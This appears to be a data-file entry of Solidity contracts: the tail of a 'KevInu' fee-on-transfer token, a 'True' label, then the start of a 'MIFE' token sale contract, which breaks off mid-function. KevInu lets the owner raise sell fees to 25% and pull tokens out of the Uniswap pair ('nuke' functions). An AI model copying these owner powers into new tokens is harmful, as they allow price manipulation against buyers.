_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract KevInu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("KevInu", "KINU") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 3;
uint256 _buyLiquidityFee = 2;
uint256 _buyDevFee = 1;
uint256 _sellMarketingFee = 7;
uint256 _sellLiquidityFee = 2;
uint256 _sellDevFee = 2;
uint256 totalSupply = 1 * 1e12 * 1e18;
//maxTransactionAmount = totalSupply * 25 / 1000; // 0.25% maxTransactionAmountTxn
maxTransactionAmount = 2500000000 * 1e18;
maxWallet = totalSupply * 15 / 1000; // 1.5% maxWallet
swapTokensAtAmount = totalSupply * 10 / 10000; // 0.10% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool){
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import { MapPurchase, Utilities } from "./Libs.sol";
import { BaseControl } from "./BaseControl.sol";
import { ERC20Burnable, ERC20, IERC20 } from "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
contract MIFE is BaseControl, ERC20Burnable {
using MapPurchase for MapPurchase.Purchase;
using MapPurchase for MapPurchase.Record;
struct Initial {
address account;
uint256 amount;
}
// constants
// variables
uint256 public quantityReleased;
MapPurchase.Record purchases;
constructor() ERC20("The Metalife", "MIFE") {
uint256 maxSupply = 3000000000 * (10 ** decimals());
uint256 list_a = 300000000 * (10 ** decimals());
_mint(0x12E36b7D140f8083d2da50F977F5ca8C415193EF, list_a);
_mint(0x99AD6259C66d32144bCc226b45472C6Def82397B, list_a);
uint256 list_b = 60000000 * (10 ** decimals());
_mint(0x3411118a35A1F20e5b45324a50bA24990c667928, list_b);
_mint(0x9114DE606aAEba34E0AdEABcBdE7F6Aa212A7ee0, list_b);
_mint(0xFed7EC360e5200F725109fA68917b33Face2B99e, list_b);
_mint(0xdE906C27793eF5521A3c8F2732dE71Bfd2c14aA9, list_b);
_mint(0x34abb70836476B9E93Aa516188b0667936b9e36F, list_b);
// 2100000000
_mint(0x5B7D2199d748f3fdfB744e7756290b29d4c83FD3, maxSupply - list_a * 2 - list_b * 5);
}
/** Public */
function privateSale(bytes memory _signature) external payable {
uint16 rate = 12000;
require(tx.origin == msg.sender, "Not allowed");
require(privateSaleActive, "Not active");
require(!purchases.containsValue(msg.sender), "Already purchased");
require(msg.value >= 2 ether && msg.value <= 20 ether, "Ether value incorrect");
// check supply
(uint256 tokenAmount, uint256 bonusAmount, ) = Utilities.computeReward(msg.value, rate, decimals(), Utilities.getPrivateBonus);
require(quantityReleased + tokenAmount + bonusAmount <= 150000000 * (10 ** decimals()), "Exceed supply");
// check whitelist
require(eligibleByWhitelist(msg.sender, msg.value, _signature), "Not eligible");
purchases.addValue(msg.sender, msg.value, rate, decimals(), Utilities.getPrivateBonus);
quantityReleased += (tokenAmount + bonusAmount);
}
function publicSale() external payable {
uint16 rate = 10000;
require(tx.origin == msg.sender, "Not allowed");
require(publicSaleActive, "Not active");
require(!purchases.containsValue(msg.sender), "Already purchased");
require(msg.value >= 0.5 ether && msg.value <= 8 ether, "Ether value incorrect");
// check supply
(uint256 tokenAmount, uint256 bonusAmount, ) = Utilities.computeReward(msg.value, rate, decimals(), Utilities.getPublicBonus);
require(quantityReleased + tokenAmount + bonusAmount <= 450000000 * (10 ** decimals()), "Exceed supply");
purchases.addValue(msg.sender, msg.value, rate, decimals(), Utilities.getPublicBonus);
quantityReleased += (tokenAmount + bonusAmount);
}
/** Admin */
function issueBonus(uint256 _start, uint256 _end) external onlyOwner {
uint256 maxSize = getPurchasersSize();
_end = _end > maxSize ? maxSize : _end;
for (uint256 i = _start; i < _end; i++) {
MapPurchase.Purchase storage record = purchases.values[i];
if (record.tokenAmount == 0 && record.bonusAmount > 0) {
IERC20(address(this)).transfer(record.account, record.bonusAmount);
record.bonusAmount = 0;
}
}
}
function issueTokens(uint256 _start, uint256 _end, uint8 _issueTh) external onlyOwner {
require(_issueTh >= 1, "Incorrect Input");
uint256 maxSize = getPurchasersSize();
_end = _end > maxSize ? maxSize : _end;
for (uint256 i = _start; i < _end; i++) {
MapPurchase.Purchase storage record = purchases.values[i];
if (record.divisor + _issueTh > 12) {
uint256 amount = record.tokenAmount / record.divisor;
record.tokenAmount -= amount;
if (record.divisor > 1) {
record.divisor -= 1;
}
IERC20(address(this)).transfer(record.account, amount);
}
}
}
function withdraw() external onlyOwner {
uint256 balance = address(this).balance;
uint256 balanceA = balance * 85 / 100;
uint256 balanceB = balance - balanceA;
payable(0x95a881D2636a279B0F51a2849844b999E0E52fa8).transfer(balanceA);
payable(0x0dF5121b523aaB2b238f5f03094f831348e6b5C3).transfer(balanceB);
}
function withdrawMIFE() external onlyOwner {
uint256 balance = IERC20(address(this)).balanceOf(address(this));
IERC20(address(this)).transfer(msg.sender, balance);
}
/** View */
function eligibleByWhitelist(address _account, uint256 _stakeValue, bytes memory _signature) public view returns (bool) {
bytes32 message = keccak256(abi.encodePacked(hashKey, 'normal', _account));
if (_stakeValue >= 19 ether) {
message = keccak256(abi.encodePacked(hashKey, 'special', _account));
}
return validSignature(message, _signature);
}
function getPurchasersSize() public view returns (uint256) {
return purchases.values.length;
}
function getPurchaserAt(uint256 _index) public view returns (MapPurchase.Purchase memory) {
return purchases.values[_index];
}
function getPurchasers(uint256 _start, uint256 _end) public view returns (MapPurchase.Purchase[] memory) {
uint256 maxSize = getPurchasersSize();
_end = _end > maxSize ? maxSize : _end;
MapPurchase.Purchase[] memory records = new MapPurchase.Purchase[](_end - _start);
for (uint256 i = _start; i < _end; i++) {
records[i - _start] = purchases.values[i];
}
return records;
}
function getPersonaAllocated(address _account) public view returns (uint8) {
MapPurchase.Purchase memory purchase = purchases.getValue(_account);
return purchase.personaAmount;
}
function getPurchasedByAccount(address _account) public view returns (MapPurchase.Purchase memory) {
return purchases.getValue(_account);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
library MapPurchase {
struct Purchase {
uint8 divisor;
uint8 personaAmount;
uint256 tokenAmount;
uint256 bonusAmount;
address account;
uint256 purchasedAmount;
}
struct Record {
Purchase[] values;
mapping(address => uint256) indexes; // value to index
}
function addValue(
Record storage _record,
address _purchaser,
uint256 _purchased,
uint16 _unit,
uint8 _decimals,
function(uint256, uint16) internal pure returns (uint16, uint8) getRate
) internal {
if (containsValue(_record, _purchaser)) return; // exist
(uint256 tokenAmount, uint256 bonusAmount, uint8 personaAmount) = Utilities.computeReward(_purchased, _unit, _decimals, getRate);
Purchase memory _value = Purchase({ divisor: 12, personaAmount: personaAmount, tokenAmount: tokenAmount, bonusAmount: bonusAmount, account: _purchaser, purchasedAmount: _purchased });
_record.values.push(_value);
_record.indexes[_purchaser] = _record.values.length;
}
function removeValue(Record storage _record, Purchase memory _value) internal {
uint256 valueIndex = _record.indexes[_value.account];
if (valueIndex == 0) return;
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = _record.values.length - 1;
if (lastIndex != toDeleteIndex) {
Purchase memory lastvalue = _record.values[lastIndex];
_record.values[toDeleteIndex] = lastvalue;
_record.indexes[lastvalue.account] = valueIndex;
}
_record.values.pop();
_record.indexes[_value.account] = 0;
}
function containsValue(Record storage _record, address _account) internal view returns (bool) {
return _record.indexes[_account] != 0;
}
function getValue(Record storage _record, address _account) internal view returns (Purchase memory) {
if (!containsValue(_record, _account)) {
return Purchase({ divisor: 12, personaAmount: 0, tokenAmount: 0, bonusAmount: 0, account: _account, purchasedAmount: 0 });
}
